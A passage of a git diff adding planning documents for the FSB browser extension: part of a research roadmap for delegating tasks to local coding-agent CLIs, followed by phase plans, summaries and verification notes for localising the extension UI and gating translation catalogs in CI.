bridge topology edge cases** (hub exits mid-delegation): topology tests must cover hub-exit-mid-delegation; new events are strictly additive types, existing wire byte-stable (INV-01). Phase 60 + every wire-touching phase. + +## Implications for Roadmap + +Phases continue from 57. The build order is dictated by dependencies (identity data enables provider UI enables delegation UI enables adapter breadth) plus a hard rule: the security foundation (Phase 60) ships before any spawn code and cannot be deferred to a "hardening" phase. + +### Phase 57 — Agent identity capture (copy-clicks + clientInfo + inventory) +**Rationale:** Pure additive data layer on both sides of the wire; unblocks everything later; closes the v0.9.36 deferred "trusted MCP client identity from handshake metadata" item. Ships value on its own (control-panel roster) before any spawn work. +**Delivers:** `persistCopyClick` in `onboarding.js`; `getClientVersion()` capture in `runtime.ts`/`agent-scope.ts`; `clientInfo` field in `agent:register` payload (additive; INV-01 safe); `stampClientInfo` on `AgentRecord`; `resolvePlatformTarget` extended for cli-mode `claude-code` (binary + `~/.claude.json` detection); `fsbAgentProviders` storage schema; `getMcpClients` runtime message. +**Uses:** `platforms.ts` (existing), `agent-registry.js:stampConnectionId` pattern, SDK `^1.29.0`. +**Research flag:** LOW. + +### Phase 58 — Providers panel rename + kinds + recommended default +**Rationale:** Visible value before the risky spawn work; establishes the selection the delegation UI reads; UI-only, low pitfall exposure. +**Delivers:** `control_panel.html:146` rename; `providerKind` model in `options.js`; agent rows + install/auth/connection state + recommended badge (connected > installed > copy-clicked); BYOK guard so `universal-provider.js` never sees an agent value; explicit "uses your subscription" copy per agent. +**Research flag:** LOW. + +### Phase 59 — Reverse-request channel + security foundation +**Rationale:** SECURITY-CRITICAL. Pitfalls 1, 2, 3 (argv/flag rules), 5, 16 land here. Isolated in its own phase with its own tests so the INV-01 additive proof and CSWSH/rebind fixtures land before any spawn code exists. +**Delivers:** Additive `ext:request`/`ext:response`/`ext:event` types; `capabilities: ['agent-spawn']` on `relay:hello`; hub routing logic; extension pending-map + `sendExtRequest`; strict `Origin` allowlist to `chrome-extension://`; `Host` = loopback check; per-install rotating shared secret in `Sec-WebSocket-Protocol`; `redactForLog` extension for token patterns; hub-exit-mid-delegation topology test cases. +**Research flag:** MEDIUM — shared-secret provisioning UX (TOFU pairing vs user-visible pairing code) and rebind fixture design. + +### Phase 60 — Adapter contract + Claude Code MVP +**Rationale:** The integration payoff. Built AS an adapter from day one so OpenCode/Codex/Gemini slot in without rework. Pitfalls 3 (argv), 6, 7, 9, 12 land here. +**Delivers:** `AgentProviderAdapter` contract; `claude-code.ts` adapter with verified 2.1.177 flag set; `SpawnSupervisor` with POSIX process-group kill / Windows `taskkill /T /F`; `readline` stream framing; scrubbed env; stream-json event contract parser; `caps()` distinguishes task-mode vs chat-mode; adapter version detection; recorded JSONL fixtures. +**Research flag:** MEDIUM — Claude Code spikes: `--agent fsb` + inline `--agents` composition; `--tools ""` Windows quoting; `.cmd` shim resolution. + +### Phase 61 — Delegation UX, lifecycle, and offline handoff +**Rationale:** The user-facing payoff. Pitfalls 4 (UX audit), 8, 10, 13, 14, 15 land here. +**Delivers:** Fifth `EXECUTION_MODES` entry `delegated`; `startDelegatedTask`/`stopDelegatedTask` background handlers; side-panel progress feed (init/tool/retry/result); kill switch that releases owned tabs; `chrome.storage.session` persistence per progress event; 20s WS heartbeat + `chrome.alarms` backup; explicit consent tiers; default-background-tab + "take control" affordance; post-run usage summary card; "agent offline → `doctor`" state. +**Research flag:** MEDIUM-HIGH — consent tier UX has no direct comparable; Anthropic billing model under active churn. + +### Phase 62 — CI drift-smoke gate + doctor delegation checks +**Rationale:** Pitfall 9 (drift) will keep happening across the milestone's life. +**Delivers:** CI job that runs each adapter against a canned prompt and asserts a known event sequence; `fsb-mcp-server doctor` extended with binary/version/auth/spawn-secret checks per adapter; adapter compatibility matrix in `doctor` output; `agent_protocol_drift` classification. +**Research flag:** LOW. + +### Phase 63+ — Multi-agent adapters (OpenCode → Codex → Gemini) +**Rationale:** Contract proven by Claude Code MVP; each new adapter re-uses the Phase 60 contract. +**Delivers:** Per-CLI adapters with verified flag matrices; per-adapter caps + version matrix + credentials story; `caps.chatMode` flag driving side-panel affordance (`--resume`); billing-model copy per adapter. +**Research flag:** MEDIUM per adapter — Gemini 0.50.0 live `--help` capture; OpenCode HTTP-server-vs-spawn shape. + +### Phase Ordering Rationale + +- **Dependency chain:** identity data (57) → provider selection UI reads it (58) → security foundation must exist before any spawn code (59) → adapter contract needs the channel (60) → UX/lifecycle needs the adapter (61) → drift gate and doctor need something to check (62) → contract must be stable before breadth (63+). +- **Security-first:** Phase 59 is the load-bearing phase. Every top-5 critical pitfall has fixture-level evidence baked in before any spawn logic exists in Phase 60. +- **INV-01 discipline:** every wire addition is additive — new frame types + optional payload fields only. Existing `MCPMessageType` values and tool schemas byte-stable across the whole milestone. +- **Test-suite tripwire discipline:** every extension-touching phase runs the full suite from commit 1; every extension-source edit updates paired tripwires in the same commit. + +## Confidence Assessment + +| Area | Confidence | Notes | +|------|------------|-------| +| Stack | HIGH | Flag matrices verified against local binaries (claude 2.1.177, codex 0.142.5, opencode 1.14.25) + current official docs; SDK accessor verified at pinned tag v1.29.0; Node child_process design facts verified verbatim from nodejs.org/api/child_process.html. Gemini 0.50.0 docs-only (no local binary). | +| Features | HIGH | Core UX conventions verified against Zed, Cline, Claude Code, ACP, Apple, GitHub, Google, OpenAI docs and multiple 2025-2026 vendor product pages. Anthropic subscription-OAuth ban timeline (Jan-Apr 2026) verified. | +| Architecture | HIGH | Every integration seam cited at file:line against live source; SDK `getClientVersion` verified via Context7 against pinned `^1.29.0`. | +| Pitfalls | HIGH | Security section verified against 2025-2026 CVEs and vendor advisories; MV3/child_process sections verified against Chrome/Node.js docs. Vendor billing footnotes flagged. | + +**Overall confidence:** HIGH + +### Gaps to Address + +- **Shared-secret provisioning UX** — TOFU pairing on first `serve` connect vs a user-visible pairing code from `fsb-mcp-server pair` — decide in Phase 59 planning. +- **Inventory delivery trigger** — on-extension-connect push vs piggyback on `agent:register` vs on-demand `ext:request clients.detect` — decide in Phase 57 planning. +- **Anthropic billing model** — May 14 2026 announced, June 15 2026 paused; Providers-panel copy must not promise "unlimited/free" and must reflect the current state within each release cycle. +- **Whether `--agent fsb` selects an agent defined inline via `--agents`** — 5-minute spike in Phase 60; fallback is `--append-system-prompt-file`. +- **`--tools ""` Windows quoting + `.cmd` shim resolution** — Node CVE-2024-27980 EINVAL behavior; per-CLI installer layout to confirm. +- **OpenCode HTTP-server-vs-spawn adapter shape** — `opencode serve` + `run --attach` is a cheaper reuse path than cold spawn. +- **Gemini 0.50.0 live `--help` capture** — first Gemini adapter phase must start with this before any code. + +## Feature Categories for Requirements Definition + +1. **Identity Capture (IDENT)** — copy-click persist, MCP `initialize` `clientInfo` capture + threading, disk detection per `platforms.ts`, `fsbAgentProviders` storage schema. +2. **Providers Panel (PROV)** — "API Configuration" → "Providers" rename, `providerKind: api|agent`, per-kind field visibility, recommended-default badge (connected > installed > copy-clicked), kind-appropriate copy. +3. **Delegation Channel (CHAN)** — `ext:*` reverse-request frames on ws://7225, Origin allowlist, Host loopback, shared-secret transport, hub routing to `agent-spawn` relay, INV-01 additive proof, hub-exit topology tests. +4. **Adapter Contract (ADAPT)** — `AgentProviderAdapter` interface, `SpawnSupervisor`, POSIX/Windows kill-tree, `readline` framing, scrubbed env, version detection, JSONL fixtures. +5. **Claude Code MVP (CLAUDE)** — verified 2.1.177 flag set, shipped `fsb` agent definition via `--agents`, stream-json parsing, task-mode first, subscription auth via user's own login. +6. **Delegation UX (UX)** — consent tiers (first-enable + per-run), streaming feed, default-background-tab + take-control, kill switch that reclaims tabs, "agent offline → `doctor`", post-run usage summary card, cost copy discipline. +7. **Lifecycle & Persistence (LIFE)** — SW-eviction survival via `chrome.storage.session`, WS heartbeats, daemon-liveness detection, fifth `EXECUTION_MODES` entry. +8. **Drift Gate & Doctor (DRIFT)** — adapter version matrix, per-adapter CI smoke, `doctor` extensions, diagnostics classification. +9. **Multi-Agent Adapters (MULTI)** — OpenCode → Codex → Gemini (deferred phase family; contract-reuse only). + +## Sources + +Detailed sources live in the four research files. Aggregated by tier: + +### Primary (HIGH confidence) +- Local binaries executed 2026-07-10: `claude --help` @ 2.1.177; `codex exec --help` + `codex mcp --help` @ 0.142.5; `opencode run --help` @ 1.14.25 — all flags quoted verbatim +- `code.claude.com/docs/en/{cli-reference,headless,permissions,agent-sdk/overview,sub-agents,chrome}` +- `learn.chatgpt.com/docs/{non-interactive-mode,config-file/config-reference}` (Codex) +- `github.com/google-gemini/gemini-cli` docs +- `opencode.ai/docs/{cli,mcp-servers,agents,server,acp}` + `zed.dev/acp` +- `modelcontextprotocol/typescript-sdk` tag v1.29.0 `src/server/index.ts` — `clientInfo` + `getClientVersion()` verified +- `nodejs.org/api/child_process.html` — detached/process-group, kill-tree, backpressure, shell warning — verbatim +- 2025-2026 CVE advisories: CVE-2025-49596 (Inspector), CVE-2025-66414/66416 (MCP SDKs), CVE-2025-59536 (Claude Code project files), CVE-2025-54794/54795 (Claude Code command injection), Gemini CLI CVSS 10 (GHSA-wpqr-6v78-jr5g), TrustFall (Adversa AI, May 2026), Mailpit/Dozzle/Nanobot CSWSH advisories +- Direct source reads in this repo cited at file:line in ARCHITECTURE.md +- `.planning/PROJECT.md` v0.9.91 milestone section +- graphify graph queries confirming symbol locations +- Auto-memory: `fsb-source-pin-tripwires.md`; `fsb-same-context-dispatch.md` + +### Secondary (MEDIUM confidence) +- `zed.dev/docs/ai/external-agents` +- Cline docs on Claude Code provider; Roo Code PR #4864; Cline Codex OAuth blog +- Apple Xcode 26 coding intelligence docs +- GitHub Agent HQ blog posts +- `agentclientprotocol.com/protocol/overview` +- The Register (2026-02-20) + `anthropics/claude-code#28091` — subscription-OAuth ban timeline +- Chrome MV3 SW lifecycle + WebSocket keepalive docs + +### Tertiary (LOW confidence / needs Phase-time validation) +- Gemini CLI 0.50.0 flag surface (docs-only) +- OpenCode permission-bypass flag naming in 1.15+ (rename in flight) +- Anthropic billing model state (announced May 14 2026, paused June 15 2026) +- Wrapping the genuine `claude` binary is ecosystem-standard practice but not explicitly blessed in writing by Anthropic + +--- +*Research completed: 2026-07-10* +*Ready for roadmap: yes* diff --git a/.planning/phases/66-locale-plumbing-and-ci-gate/66-01-PLAN.md b/.planning/phases/66-locale-plumbing-and-ci-gate/66-01-PLAN.md new file mode 100644 index 000000000..4874dd00a --- /dev/null +++ b/.planning/phases/66-locale-plumbing-and-ci-gate/66-01-PLAN.md @@ -0,0 +1,25 @@ +# Phase 66 Plan 01: Locale resolver, seed catalogs, and CI gate + + +Ship the extension locale module, the seven seed catalogs, and a CI gate that fails closed, without migrating any screen. + + + + + +Resolver and catalogs +extension/utils/ui-locale.js, extension/_locales/**/messages.json, extension/manifest.json, extension/background.js, extension/_locales/same-source-allowlist.json + +Add the classic-script resolver, seed messages in all seven locales, `default_locale: "en"`, and the `importScripts` line after `install-identity.js`. + + + + +Gate and tests +scripts/verify-extension-i18n.mjs, tests/extension-ui-locale.test.js, tests/fixtures/extension-i18n/**, package.json + +Verify key parity, empty messages, placeholders, copied English, and protected literals. Unit-test alias resolution, override, English fallback, and the wire hashes. + + + + diff --git a/.planning/phases/66-locale-plumbing-and-ci-gate/66-01-SUMMARY.md b/.planning/phases/66-locale-plumbing-and-ci-gate/66-01-SUMMARY.md new file mode 100644 index 000000000..c9f51c76d --- /dev/null +++ b/.planning/phases/66-locale-plumbing-and-ci-gate/66-01-SUMMARY.md @@ -0,0 +1,55 @@ +--- +phase: 66-locale-plumbing-and-ci-gate +plan: "01" +subsystem: extension-i18n +tags: [i18n, chrome.i18n, locale, ci] + +requires: [] +provides: + - Runtime locale resolver with browser-language default and fsbUiLocale override + - Seven seed catalogs and a fail-closed catalog gate +affects: [67-manifest-side-panel-popup] + +tech-stack: + added: [] + patterns: + - Public locale codes stay hyphenated; Chrome folders use zh_CN and zh_TW + - t() falls back to English and never returns an empty string + +key-files: + created: + - extension/utils/ui-locale.js + - extension/_locales/en/messages.json + - extension/_locales/es/messages.json + - extension/_locales/de/messages.json + - extension/_locales/ja/messages.json + - extension/_locales/ko/messages.json + - extension/_locales/zh_CN/messages.json + - extension/_locales/zh_TW/messages.json + - scripts/verify-extension-i18n.mjs + - tests/extension-ui-locale.test.js + modified: + - extension/manifest.json + - extension/background.js + - package.json + +key-decisions: + - "Store the override as fsbUiLocale and do not read the website cookie." + - "Keep the catalog gate hard on the seed catalog so later phases cannot land copied English." + +patterns-established: + - "Message names use underscores. Chrome rejects dots." + +requirements-completed: [LOC-01, LOC-02, LOC-03, LOC-04, LOC-05, WIRE-01, QUAL-01, QUAL-02, QUAL-03] + +duration: 1 session +completed: 2026-10-11 +--- + +# Phase 66 Plan 01: Locale resolver, seed catalogs, and CI gate Summary + +The extension can resolve the seven showcase locales, prefer a stored override over the browser language, and fall back to English. CI rejects a missing key, an empty message, a placeholder change, copied English, and a dropped `FSB` literal. + +## Self-Check: PASSED + +`node tests/extension-ui-locale.test.js` — 34 passed. diff --git a/.planning/phases/66-locale-plumbing-and-ci-gate/66-CONTEXT.md b/.planning/phases/66-locale-plumbing-and-ci-gate/66-CONTEXT.md new file mode 100644 index 000000000..126e87084 --- /dev/null +++ b/.planning/phases/66-locale-plumbing-and-ci-gate/66-CONTEXT.md @@ -0,0 +1,81 @@ +# Phase 66: Locale plumbing and CI gate - Context + +**Gathered:** 2026-10-11 +**Status:** Ready for planning +**Mode:** Autonomous smart discuss. Recommended answers accepted because this runtime has no interactive question tool and the milestone brief already locked these choices. + + +## Phase Boundary + +The extension can resolve a locale, load a message, fall back to English, and fail CI when a catalog is structurally or prosaically wrong, before any screen is migrated. + + + + +## Implementation Decisions + +### Catalog shape +- Public codes stay `en`, `es`, `de`, `ja`, `ko`, `zh-CN`, `zh-TW`. +- Chrome folders are `en`, `es`, `de`, `ja`, `ko`, `zh_CN`, `zh_TW`. One function maps between them. +- Message keys use letters, numbers, and underscores. Chrome rejects dots in message names. +- The seed catalog has three keys: a translated greeting, a placeholder replay label, and an allowlisted brand token `FSB`. + +### Resolver +- Classic script `extension/utils/ui-locale.js` publishes `globalThis.fsbUiLocale`. +- Storage key is `fsbUiLocale` in `chrome.storage.local`. It is not the website cookie. +- No saved choice means the browser UI language, passed through the showcase alias rules. +- A missing or empty message returns the English message. It never returns an empty string. +- `__MSG_` is not used in this phase. Manifest name and description stay for Phase 67. `default_locale` is `en`. + +### Gate +- `scripts/verify-extension-i18n.mjs` fails on a missing key, an empty message, a changed placeholder, or copied English prose whose source hash is not on the allowlist. +- Protected literals that appear in the English message must appear unchanged in every other locale. The seed literal is `FSB`. +- The gate is wired into `npm test` and is green on the seed catalog. +- Adversarial fixtures prove each failure mode. + +### Wire +- This phase does not edit MCP schemas, tool definitions, or bridge message types. +- A test pins the current SHA-256 of `mcp/src/types.ts` and `extension/ai/tool-definitions.js`. + +### the agent's Discretion +- Catalog preload may be lazy. `t()` must work in Node tests with injected catalogs and a fake `chrome.i18n`. + + + + +## Existing Code Insights + +### Reusable Assets +- Alias rules in `showcase/server/src/middleware/accept-language.js`. +- Locale list in `showcase/angular/src/app/core/i18n/locale-constants.ts`. +- Showcase quality gate pattern in `showcase/angular/scripts/verify-translation-quality.mjs`. + +### Established Patterns +- Extension helpers are classic scripts loaded with `importScripts`. +- `install-identity.js` is the first import in `extension/background.js`. +- Tests are zero-dependency Node scripts with `assert()` and a pass/fail count. + +### Integration Points +- Insert `importScripts('utils/ui-locale.js')` immediately after `install-identity.js`. +- Add `default_locale` to `extension/manifest.json`. +- Append the new test and verifier to the root `npm test` chain. + + + + +## Specific Ideas + +No screen copy moves in this phase. The seed strings exist so the gate has real translations to accept and real fixtures to reject. + + + + +## Deferred Ideas + +- Manifest name and description, side panel, and popup copy (Phase 67). +- Options and control panel (Phase 68). +- Onboarding, unlock, microphone permission, and overlay chrome (Phase 69). +- Leftover-prose coverage audit (Phase 70). +- The language control UI (Phase 71). + + diff --git a/.planning/phases/66-locale-plumbing-and-ci-gate/66-VERIFICATION.md b/.planning/phases/66-locale-plumbing-and-ci-gate/66-VERIFICATION.md new file mode 100644 index 000000000..2121ed603 --- /dev/null +++ b/.planning/phases/66-locale-plumbing-and-ci-gate/66-VERIFICATION.md @@ -0,0 +1,19 @@ +--- +phase: 66 +status: passed +score: 5/5 +--- + +# Phase 66 Verification + +**Status:** passed + +## Must-haves + +1. Browser German resolves the German seed, and an unknown language resolves English. Covered by `tests/extension-ui-locale.test.js`. +2. Stored `ja` overrides an English browser, and clearing it returns to the browser language. The resolver source does not read a cookie. +3. A missing Japanese key returns the English message. `zh-Hans` maps to `zh-CN` and the folder is `zh_CN`. +4. The gate exits 0 on the seed catalog and exits 1 on missing, empty, placeholder, copied-English, and dropped-literal fixtures. +5. SHA-256 of `mcp/src/types.ts` and `extension/ai/tool-definitions.js` is unchanged. + +No human verification items. This phase has no screen. diff --git a/.planning/phases/67-manifest-side-panel-and-popup/67-01-PLAN.md b/.planning/phases/67-manifest-side-panel-and-popup/67-01-PLAN.md new file mode 100644 index 000000000..c79730622 --- /dev/null +++ b/.planning/phases/67-manifest-side-panel-and-popup/67-01-PLAN.md @@ -0,0 +1,25 @@ +# Phase 67 Plan 01: Manifest, side panel, and popup chrome + + +Show localized store identity and package-owned side-panel and popup chrome in the active locale. + + + + + +Manifest tokens and resting chrome +extension/manifest.json, extension/ui/popup.html, extension/ui/sidepanel.html, extension/_locales/**/messages.json, scripts/sync-product-version.mjs + +Point the manifest name and description at message tokens. Mark resting side-panel and popup chrome with data-i18n. Keep FSB untranslated and keep the version field as the version. + + + + +Runtime status text +extension/utils/ui-locale.js, extension/ui/popup.js, extension/ui/sidepanel.js, extension/ui/owner-chip.js + +Translate exact package-owned status, button, empty-state, and delegation strings through markExact. Translate popup error and API-test lines through text(). Refresh tagged nodes after boot. + + + + diff --git a/.planning/phases/67-manifest-side-panel-and-popup/67-01-SUMMARY.md b/.planning/phases/67-manifest-side-panel-and-popup/67-01-SUMMARY.md new file mode 100644 index 000000000..343a56a9c --- /dev/null +++ b/.planning/phases/67-manifest-side-panel-and-popup/67-01-SUMMARY.md @@ -0,0 +1,47 @@ +--- +phase: 67-manifest-side-panel-and-popup +plan: "01" +subsystem: extension-i18n +tags: [i18n, sidepanel, popup, manifest] + +requires: [66-01] +provides: + - Localized extension name and description + - Side panel and popup package-owned chrome from the seven catalogs +affects: [68-options-and-control-panel] + +tech-stack: + added: [] + patterns: + - data-i18n for resting HTML + - markExact for exact runtime chrome, refreshed after boot + - text(key, english, subs) for dynamic popup status + +key-files: + created: [] + modified: + - extension/manifest.json + - extension/utils/ui-locale.js + - extension/ui/popup.html + - extension/ui/popup.js + - extension/ui/sidepanel.html + - extension/ui/sidepanel.js + - extension/ui/owner-chip.js + - extension/_locales/en/messages.json + +key-decisions: + - "Manifest __MSG_ strings follow the browser language. The in-extension override applies through the runtime catalog." + - "User, AI, and action messages are not translated." + +requirements-completed: [SHELL-01, SHELL-02, SHELL-03] + +duration: 1 session +completed: 2026-10-11 +status: passed +--- + +# Phase 67 Plan 01 Summary + +The store name is `FSB` in every locale, and the description is translated. Side panel and popup chrome that is visible at rest, plus the primary runtime status lines, come from the catalogs. A saved locale replaces those strings after the catalogs load. Tests that do not load a catalog still see the English fallback. + +Concatenated provider-specific sentences that are not an exact catalog match stay for the Phase 70 coverage check. diff --git a/.planning/phases/67-manifest-side-panel-and-popup/67-CONTEXT.md b/.planning/phases/67-manifest-side-panel-and-popup/67-CONTEXT.md new file mode 100644 index 000000000..8a96b78fa --- /dev/null +++ b/.planning/phases/67-manifest-side-panel-and-popup/67-CONTEXT.md @@ -0,0 +1,60 @@ +# Phase 67: Manifest, side panel, and popup - Context + +**Gathered:** 2026-10-11 +**Status:** Ready for planning +**Mode:** Autonomous smart discuss. Recommended answers accepted because this runtime has no interactive question tool and the milestone brief already locked these choices. + + +## Phase Boundary + +The store identity, side panel, and popup show package-owned chrome in the active locale. User-typed text, model output, and protocol identifiers stay raw. + + + + +## Implementation Decisions + +### Manifest +- `name` is `__MSG_ext_name__` and `description` is `__MSG_ext_description__`. +- `ext_name` is the allowlisted brand `FSB` in every locale. +- The manifest `version` field stays the version. Version sync writes the message tokens, not `FSB v${version}`. +- `chrome://extensions` follows the browser language only. The in-extension override cannot change `__MSG_` strings. + +### Runtime chrome +- Resting HTML uses `data-i18n` and `data-i18n-attr`. +- Exact package-owned strings go through `fsbUiLocale.markExact`, which tags the node and refreshes it after catalogs load. +- Dynamic popup errors use `text(key, english, subs)`. The English sentence stays in the source as the fallback. +- User, AI, and action messages are not passed through `markExact`. +- Node tests that do not load catalogs still see the English fallback. + +### the agent's Discretion +- Message keys use the `shell_` prefix. No dots. +- A short English flash before `boot()` resolves is acceptable. `apply()` then replaces tagged nodes. + + + + +## Existing Code Insights + +- `extension/utils/ui-locale.js` already resolves locales and loads the seven catalogs. +- Side panel and popup scripts are classic scripts. Extracted-function tests cannot see a sibling helper, so call sites guard on `globalThis.fsbUiLocale`. +- Source-pin tests require the English sentence to remain in the file. + + + + +## Specific Ideas + +Opening the side panel in Spanish and the popup in Korean must show translated package-owned chrome, including Ready, Working, button titles, and the primary status lines. + + + + +## Deferred Ideas + +- Options and the control panel (Phase 68). +- Onboarding, unlock, microphone permission, and overlay chrome (Phase 69). +- Concatenated provider-specific sentences that are not exact catalog matches (Phase 70 coverage). +- The language control (Phase 71). + + diff --git a/.planning/phases/67-manifest-side-panel-and-popup/67-REVIEW.md b/.planning/phases/67-manifest-side-panel-and-popup/67-REVIEW.md new file mode 100644 index 000000000..3ffd955d8 --- /dev/null +++ b/.planning/phases/67-manifest-side-panel-and-popup/67-REVIEW.md @@ -0,0 +1,10 @@ +--- +phase: 67 +status: clean +--- + +# Phase 67 Review + +Inline review. The reviewer subagent is not available in this runtime. + +No blocking defect. `markExact` skips user, AI, and action messages. Extracted-function tests still see English because they do not load the catalogs. The side-panel HTML hash was rolled only for the locale markers and the locale script. diff --git a/.planning/phases/67-manifest-side-panel-and-popup/67-UI-SPEC.md b/.planning/phases/67-manifest-side-panel-and-popup/67-UI-SPEC.md new file mode 100644 index 000000000..e6a22f197 --- /dev/null +++ b/.planning/phases/67-manifest-side-panel-and-popup/67-UI-SPEC.md @@ -0,0 +1,3 @@ +# Phase 67 UI spec + +No layout, color, or control changes. Existing buttons, headings, and status text keep their positions. Only the string changes with the active locale. Native autonyms are Phase 71. diff --git a/.planning/phases/67-manifest-side-panel-and-popup/67-VERIFICATION.md b/.planning/phases/67-manifest-side-panel-and-popup/67-VERIFICATION.md new file mode 100644 index 000000000..7acee1082 --- /dev/null +++ b/.planning/phases/67-manifest-side-panel-and-popup/67-VERIFICATION.md @@ -0,0 +1,18 @@ +--- +phase: 67 +status: passed +score: 4/4 +--- + +# Phase 67 Verification + +**Status:** passed + +## Must-haves + +1. The manifest name and description are `__MSG_ext_name__` and `__MSG_ext_description__`. `ext_name` is the allowlisted brand `FSB`. The version field is still `0.9.92`. `node tests/version-sync.test.js` passed. +2. Side-panel resting chrome and exact runtime status, button, empty-state, and primary delegation strings are catalog keys in all seven locales. `markExact` refreshes them after boot. +3. Popup button titles, the Ready / Working / Error header, and the popup error and API-test lines resolve through the catalog. Korean is one of the seven catalogs the gate checks. +4. `node tests/extension-ui-locale.test.js` passed 110 checks, including the live gate. `node tests/owner-chip.test.js` passed 88. `node tests/delegation-sidepanel-ui.test.js` passed. `node tests/sidepanel-tab-aware-smoke.test.js` passed 50. + +No human verification items. Browser rendering of the side panel was not opened in this run; the catalog and DOM hooks are covered by the unit tests above. diff --git a/.planning/phases/68-options-and-control-panel/68-01-PLAN.md b/.planning/phases/68-options-and-control-panel/68-01-PLAN.md new file mode 100644 index 000000000..8b6c2b1fd --- /dev/null +++ b/.planning/phases/68-options-and-control-panel/68-01-PLAN.md @@ -0,0 +1,25 @@ +# Phase 68 Plan 01: Options and control panel chrome + + +Show package-owned options and control-panel chrome in the active locale. + + + + + +Control panel catalogs +extension/ui/control_panel.html, extension/utils/panel-exact.js, extension/utils/ui-locale.js, extension/_locales/**/messages.json + +Mark resting control-panel labels, buttons, and hints with catalog keys in all seven locales. Keep provider names unmarked. Load the locale module and register the exact map before options.js runs. + + + + +Runtime status text +extension/ui/options.js + +Route exact package-owned status assignments through fsbUiSet so a loaded catalog replaces them. Keep the English literal in source. + + + + diff --git a/.planning/phases/68-options-and-control-panel/68-01-SUMMARY.md b/.planning/phases/68-options-and-control-panel/68-01-SUMMARY.md new file mode 100644 index 000000000..e018bf3fb --- /dev/null +++ b/.planning/phases/68-options-and-control-panel/68-01-SUMMARY.md @@ -0,0 +1,55 @@ +--- +phase: 68-options-and-control-panel +plan: "01" +subsystem: extension-i18n +tags: [i18n, options, control-panel] + +requires: [67-01] +provides: + - Control-panel package-owned chrome from the seven catalogs + - Runtime status text that refreshes after the catalog loads +affects: [69-onboarding-entry-pages-and-overlay-chrome] + +tech-stack: + added: [] + patterns: + - data-i18n on leaf control-panel nodes + - registerExact for the control-panel map + - fsbUiSet keeps the English literal and calls markExact + +key-files: + created: + - extension/utils/panel-exact.js + modified: + - extension/utils/ui-locale.js + - extension/ui/control_panel.html + - extension/ui/options.js + - extension/_locales/en/messages.json + +key-decisions: + - "Provider names that are the entire text node stay in English and unmarked." + - "Beta badges stay sibling spans so apply() does not wipe them." + +requirements-completed: [SET-01] + +duration: 1 session +completed: 2026-10-11 +status: passed +--- + +# Phase 68 Plan 01 Summary + +**Resting control-panel chrome and exact options status text resolve through the seven catalogs.** + +## Accomplishments + +- 336 unique control-panel keys are in every locale. A German override returns a distinct German string for each of them, including Dashboard as Übersicht and Save Changes as Änderungen speichern. +- Provider-name text nodes stay unmarked. +- `fsbUiSet` tags exact vault, payment, pairing, and log status strings so boot refreshes them. + +## Files Created/Modified + +- `extension/utils/panel-exact.js` — English-to-key map registered at load. +- `extension/ui/control_panel.html` — `data-i18n` markers and locale scripts. +- `extension/ui/options.js` — `fsbUiSet` for exact status assignments. +- `extension/_locales/*/messages.json` — panel messages. diff --git a/.planning/phases/68-options-and-control-panel/68-CONTEXT.md b/.planning/phases/68-options-and-control-panel/68-CONTEXT.md new file mode 100644 index 000000000..7d2b68eb2 --- /dev/null +++ b/.planning/phases/68-options-and-control-panel/68-CONTEXT.md @@ -0,0 +1,42 @@ +# Phase 68: Options and control panel - Context + +**Gathered:** 2026-10-11 +**Status:** Ready for planning +**Mode:** Autonomous smart discuss. Recommended answers accepted because this runtime has no interactive question tool and the milestone brief already locked these choices. + + +## Phase Boundary + +The options page and control panel show package-owned labels, buttons, hints, and status text in the active locale. Provider names, model ids, storage keys, and protocol error codes stay unchanged. + + + + +## Implementation Decisions + +### Resting chrome +- Visible control-panel copy is marked with `data-i18n` on leaf nodes. Mixed labels such as Sync plus the Beta badge wrap only the text node, so `apply()` does not wipe the badge. +- Catalog keys are `panel_` plus the first 10 hex characters of the SHA-256 of the English string. +- Product names that are the whole text node stay unmarked: xAI (Grok), Google Gemini, OpenAI, Anthropic (Claude), OpenRouter, LM Studio, Claude Code, Grok Build, OpenClaw, Discord, Google AI Studio, Claude Routines, and bare FSB. +- `FSB`, `Chrome`, `OpenAI`, `CAPTCHA`, `MCP`, and `PIN` stay as literals inside longer sentences. + +### Runtime status +- `registerExact` merges the control-panel English-to-key map from `extension/utils/panel-exact.js` without editing the shell exact map. +- `options.js` calls `fsbUiSet`, which uses `markExact` when the locale module is present and otherwise writes the English literal. Extracted tests that do not load catalogs still see English. +- Scripts load `ui-locale.js` and `panel-exact.js` before `config.js`. Boot applies the catalog to the control-panel document. + +### Out of scope +- Onboarding, unlock, microphone permission, and overlay chrome (Phase 69). +- The language picker (Phase 71). +- Showcase Angular i18n. + + + + +## Canonical References + +- `.planning/ROADMAP.md` Phase 68 success criteria +- `extension/utils/ui-locale.js` +- `extension/ui/control_panel.html` +- `extension/ui/options.js` + diff --git a/.planning/phases/68-options-and-control-panel/68-REVIEW.md b/.planning/phases/68-options-and-control-panel/68-REVIEW.md new file mode 100644 index 000000000..68750f692 --- /dev/null +++ b/.planning/phases/68-options-and-control-panel/68-REVIEW.md @@ -0,0 +1,12 @@ +--- +phase: 68 +status: clean +--- + +# Phase 68 Review + +Inline review. The reviewer subagent is not available in this runtime. + +No blocking defect. `apply()` is used only on leaf nodes and on text spans beside badges, so the Beta badge is not wiped. `fsbUiSet` leaves the English sentence in source for tests that do not load catalogs. Provider-name nodes stay unmarked. + +The Sync nav assertion now matches the wrapped text spans. The retry-label assertion matches `fsbUiSet` and still requires the English sentence. diff --git a/.planning/phases/68-options-and-control-panel/68-UI-SPEC.md b/.planning/phases/68-options-and-control-panel/68-UI-SPEC.md new file mode 100644 index 000000000..6d71a5dc4 --- /dev/null +++ b/.planning/phases/68-options-and-control-panel/68-UI-SPEC.md @@ -0,0 +1,3 @@ +# Phase 68 UI spec + +No layout, color, or control changes. Existing labels, buttons, hints, and status text keep their positions. Only the string changes with the active locale. Provider names stay in English. The language picker is Phase 71. diff --git a/.planning/phases/68-options-and-control-panel/68-VERIFICATION.md b/.planning/phases/68-options-and-control-panel/68-VERIFICATION.md new file mode 100644 index 000000000..7e4ca6acb --- /dev/null +++ b/.planning/phases/68-options-and-control-panel/68-VERIFICATION.md @@ -0,0 +1,21 @@ +--- +phase: 68 +status: passed +score: 3/3 +--- + +# Phase 68 Verification + +**Status:** passed + +## Must-haves + +1. A German override resolves all 336 unique `panel_` keys on the control panel to non-empty German that differs from English. Resting labels, buttons, and hints use `data-i18n`. Exact options status strings go through `fsbUiSet` / `markExact`, so they refresh after boot. +2. Provider names that are the whole text node are unmarked. Storage keys, model ids, and protocol identifiers were not edited. `mcp/src/types.ts` and `extension/ai/tool-definitions.js` stay byte-stable via the 